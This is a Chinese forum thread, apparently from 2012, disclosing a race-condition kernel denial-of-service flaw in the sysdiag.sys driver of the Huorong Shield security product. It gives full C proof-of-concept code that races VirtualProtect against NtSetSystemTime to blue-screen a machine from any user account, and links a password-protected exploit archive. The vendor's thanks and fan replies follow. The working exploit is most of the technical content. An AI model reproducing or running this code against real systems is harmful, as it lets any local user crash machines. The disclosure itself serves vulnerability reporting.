火绒盾v0.2-rc2 sysdiag.sys <=0.0.0.1 本地内核拒绝服务漏洞

LockeHIPS

火绒盾v0.2-rc2 sysdiag.sys <=0.0.0.1 本地内核拒绝服务漏洞

存在漏洞的软件：火绒盾v0.2-rc2及以下版本
存在漏洞的组件：sysdiag.sys <=0.0.0.1

漏洞原理：火绒盾安全软件的核心驱动程序sysdiag.sys没有正确处理参数，使用了不恰当的处理方式，在竞争条件下可能访问异常的内存，导致在任意用户权限下可引发系统蓝屏崩溃

同样类似的漏洞在火绒盾的核心驱动中大概还存在十几处。

验证代码：

1. 
   
2. #include "stdafx.h"
   
3. #include "windows.h"
   
4. DWORD __stdcall thread1(PVOID pMem)
   
5. {
   
6. 
   
7.         SetThreadPriority(GetCurrentThread() , THREAD_PRIORITY_HIGHEST);
   
8.         while(TRUE)
   
9.         {
   
10.                 DWORD oldp ;
    
11.                 VirtualProtect(pMem , 0x1000 , PAGE_NOACCESS , &oldp );       
    
12.         }
    
13. }
    
14. int main(int argc, char* argv[])
    
15. {
    
16.         DWORD oldp;
    
17.         PVOID pNtSetSystemTime = GetProcAddress(GetModuleHandle("ntdll.dll") , "NtSetSystemTime");
    
18. 
    
19.         PVOID pMem = VirtualAlloc(NULL , 0x1000 , MEM_RESERVE|MEM_COMMIT , PAGE_READWRITE);
    
20. 
    
21.         DWORD tid ;
    
22. 
    
23.         CreateThread(NULL , 0 , thread1 , pMem , 0 , &tid);
    
24. 
    
25.         while(TRUE)
    
26.         {
    
27.                 VirtualProtect(pMem, 0x1000 , PAGE_READWRITE , &oldp);
    
28. 
    
29.                 __asm
    
30.                 {
    
31.                         push 0
    
32.                         push pMem
    
33.                         call pNtSetSystemTime
    
34.                 }
    
35.         }
    
36. 
    
37.         return 0;
    
38. }
    

复制代码

验证程序见附件，解压密码是huorongdun，在安装了火绒盾的系统上，以任意用户权限运行一段时间系统就会蓝屏
虚拟机或单核系统会慢一些，双核系统会快一些，但应该都不超过10分钟就会蓝屏
dossysdig_1.rar (10.25 KB, 下载次数: 321)

2012-3-30 14:29 上传

点击文件名下载附件

china_killer

感谢360的朋友测试并帮我们发现问题，我们下版升级处理这种情况。。。 欢迎继续测试帮助我们发现产品问题

sanhu35

支持一下

天原

来访客人…360的朋友………

mj又开大招了

844416405

难道LZ是MJ？

yyt3150

作者一眼就看出来了。。。。因为这么专业的问题多半都是官人才会认真研究！！

AIRSHAPE

MJ来啦 嘿嘿

firefox3

大牛！

左手

又见MJ大牛。
不过这个火盾的思想是单步加多步。我挺喜欢的。